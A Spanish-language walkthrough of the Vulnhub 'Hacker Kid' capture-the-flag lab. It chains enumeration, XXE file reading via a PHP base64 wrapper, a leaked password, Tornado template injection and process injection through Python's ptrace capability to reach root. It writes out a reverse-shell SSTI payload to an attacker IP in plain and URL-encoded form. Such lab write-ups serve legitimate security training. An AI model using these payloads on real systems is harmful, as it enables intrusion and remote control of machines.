Vulnhub-HACKER KID: 1.0.1 CTF Walkthrough

 



Este Box es de estilo OSCP y se enfoca en la enumeración con fácil explotación. El objetivo es obtener la acceso root. No se requiere fuerza bruta y se brinda sugerencia adecuadas en cada paso para seguir adelante.

Como primer paso realizaré un reconocimiento de la máquina objetivo con la herramienta Netdiscover.
Netdiscover
Como se muestra en la imagen la máquina objetivo tiene la dirección IP 192.168.50.119.

Ahora con la herramienta nmap realizaré un escaneo para averiguar los puertos abiertos en la máquina objetivo.
escaneo nmap -sS
Ahora realizaré un escaneo para identificar servicios y sus versiones, que se están ejecutando en esos puertos.
escaneo nmap -sV
Resumiendo: 
Puerto 53 ejecutando el servicio Bind 9.16.1 (DNS).
Puerto 80 ejecutando el servicio apache httpd 2.4.42 (servicio web).
Puerto 9999 ejecutando el servicio Tornado httpd 6.1 (servicio web basado en Python).

Comenzaré explorando el servicio web que se está ejecutando el puerto 80.
Como se muestra en la Imagen se nos una pista de utilizar la herramienta Dig. La herramienta Dig permite consultar y descubrir nombres de dominios.

Lo que haré será enumerar directorios y archivos con la herramienta dirsearch.
enumeracion de directorio y archivos con dirsearch

Desde mi navegador web cargaré la url /index.php
Se nos muestra la misma página prácticamente, lo haré es revisar el código fuente de la página para ver si ahí se encuentra algo interesante.
En el código fuente de la página web se encuentra un comentario de dice "HACER: Utiliza un parámetro page_no para ver páginas.". Al parecer el parámetro page_no recibe números como lo sugiere el nombre del parámetro.

Con la herramienta burpSuit intercepte la solicitud http://192.168.50.119/?page_no=1, para luego enviarla al intruder y utilizar el payload de tipo numbers. con la siguiente "to 0 from 500 step 1".

BurpSuit payload number

La solicitud http://192.168.50.119/?page_no=21, es el única solicitud con un length (longitud) de 4077 mientras que todas las demás solicitudes tienen un length de 3883.

Comprobando escaner con BurpSuit payload number

Al cargar la url se nos muestra que hay un virtual-host configurado en el servidor con el nombre hackers.blackhat.local.

Lo que haré ahora es, con la herramienta dig consultaré el nombre de dominio para enumerar lo dominio o subdominio.


Como se nuestra en la imagen la herramienta nos indica que hay tres dominios configurado hackers.blackhat.local, blackhat.local, hackerkid.blackhat.local.

Lo que haré ahora en mi archivo hosts configuraré los dominios para enrutar la comunicación.


Al consultar los diferentes dominios desde mi navegador web, el dominio hacherkid.blackhat.local, muestra la siguiente página web.

hackerkid.blackhat.local

Como se puede ver en la imagen hay un formlario web, lo que haré es interceptar la comunicación con la herramienta BurpSuit y analizar como el formulario web se procesa.

Hacker Kid formulario web

Al enviar el formulario web, se muestra que el campo Email del formulario web es validado y la salida (output) se muestra en la página web. Por otro lado, los datos son enviados al servidor web en formato XML como se muestra en la siguiente imagen.


Por lo tanto, se puede probar la vulnerabilidad XXE (XML External Entity). Para realizar la prueba utilizare el siguiente payload.

XXE payload

Enviar la petición al repiter de BurpSuit y configurare el payload de la siguiente manera.


Una vez configurado el payload lo enviaré y analizaré su respuesta.


El sitio web es vulnerable a XXE, por lo tanto, podemos filtrar o buscar con la herramienta BurpSuit por bash y revisar que usuarios. 


Como se muestra en la imagen hay dos coincidencias con el término bash que apuntan al usuario root y saket.


Ahora exploraré el archivo .bashrc del usuario saker. Este archivo es de shell script que permite configurar el bash usuario, en ella se pueden entre otras configuraciones, configurar alias de comandos, definiciones de funciones, configuraciones de la shell, etc.

Utilizaré la vulnerabilidad de XXE para poder analizar el archivo .bashrc.

XXE obteniendo el archivo bashrc

Como se muestra en la imagen no pudimos recuperar el archivo .bashrc. Lo que intentaré es utilizar wrapper de PHP para obtener el archivo .bashrc en formato base64.

wrapper PHP

Resulto utilizar el wrapper de PHP, lo que haré ahora es copiar el contenido en base64 y lo decodificaré con la utilidad base64 -d de Linux.


Como resultado de decodificar el contenido en base64 se encontró un usuario y contraseña. 


Como se muestra en la imagen las credenciales encontradas corresponde a una aplicación que está corriendo con Python. Cabe mencionar, que en nuestro escaneo con nmap se descubrió el puerto 9999 que está ejecutando el Framework Tornado, Tornado es un Framework para Python para crear páginas web.

Ahora desde mi navegador web ingresaré a http://192.168.50.119:9999 y ver que se muestra por pantalla.

formulario login hacker kid

Se nos muestra un formulario de inicio de sesión. Lo que haré ahora es utilizar las credenciales descubiertas anteriormente.

Probando el usuario admin

Respuesta recibida con el usuario admin y contraseña Saket!#$%@!! .
 
Error de usuario admin

El usuario admin al parecer no es un usuario valido, probaré con el nombre de usuario saket.

hacket kid comprobar usuario saket

Respuesta recibida con el usuario saket y contraseña Saket!#$%@!! .

hacket kid usuario saket correcto

Las credenciales anteriores son las correctas. Ahora se nos muestra un mesanje en pantalla que dice "Tell me your name buddy", esto nos sugiere que quizás la página web procesa una parámetro en su queryString llamada name.  Para comprobar esto, lo que haré será enviar la siguiente queryString http://192.168.50.119:9999?name=homeless .

hacker kid comprobando querystring

Como se muestra en la imagen la página web procesa el parámetro name. Ahora como esta página web se está ejecutando con el framework Tornado, comprobare si es vulnerable a SSTI (server site template inyection). Para comprobar esto deberemos documentarnos un poco para saber cómo funciona el franmework Toranado para inyectar código.

Ahora inyectaré la siguiente instrucción {{4/2}} en el parámetro name, si por pantalla muestra el resultado de dividir 4 en 2, indica que la página web es vulnerable a SSTI.


Como se muestra en la imagen la página web es vulnerable a SSTI. Por lo tanto, lo que se puede hacer aquí es inyectar código Python para obtener una shell reversa.

Probaré la siguiente instrucción de Python para obtener una shell reversa {% import os %} {{ os.system('bash -c "bash -i >& /dev/tcp/192.168.50.35/4444 0>&1"') }}. En mi máquina atacante utilizaré el siguiente comando sudo nc -lnvp 4444, con este comando configuro el puerto 4444 en escucha para obtener la comunicación de la máquina víctima.

El comando que se utilizará para obtener la shell reversa se debe configurar como URLcode, quedando de la siguiente manera.

%7B%25%20import%20os%20%25%7D%20%7B%7B%20os.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.50.35%2F4444%200%3E%261%22%27)%20%7D%7D 


Luego de enviar la solicitud al para que sea procesada por el servicio web Tornado, obtendremos en nuestra máquina atacante una shell remota.


Ahora con el comando getcap buscaré archivos que me permitan elevar privilegios. El comando getcap permite ver las capacidades que tiene un archivo o directorio, por lo tanto, proporciona una vía potencial de poder elevar privilegios. Para más información sobre el comando getcap les comparto los siguientes sitios.


Como se observa en la imagen Python tiene la capacidad de observar y controlar otros procesos.


Ahora buscare un proceso que se esté ejecutando como root.


Aquí el servicio que se está ejecutando entre otros es apache2 como root, lo que podemos hacer aquí es aprovechar de inyectar un código que me permita obtener una shell reversa en el proceso de apache2 y como este se está ejecutando como root, obtendremos una shell reversa con permisos de root, es decir nos permite elevar privilegios.

Me apoyaré de la siguiente página hacktricks para encontrar algún script Python para poder inyectar una shell reversa.


Como se muestra en la imagen hay un script en Python que nos permite inyectar código, entonces, lo que haré, es copiar el código y crear un archivo con extensión .py en la máquina víctima y ejecutarlo con Python. Cabe mencionar, que al ejecutar este script hay que pasar el proceso donde queremos inyectar código, en este caso será el proceso apache2 con PID 892. esto habilitar el puerto 5600 en escucha en la máquina víctima. 



Una vez ejecutado el script de Python, ejecutamos el siguiente comando desde la maquina atacante.


Obtuvimos acceso a root.
Happy Hack!!! 

Comentarios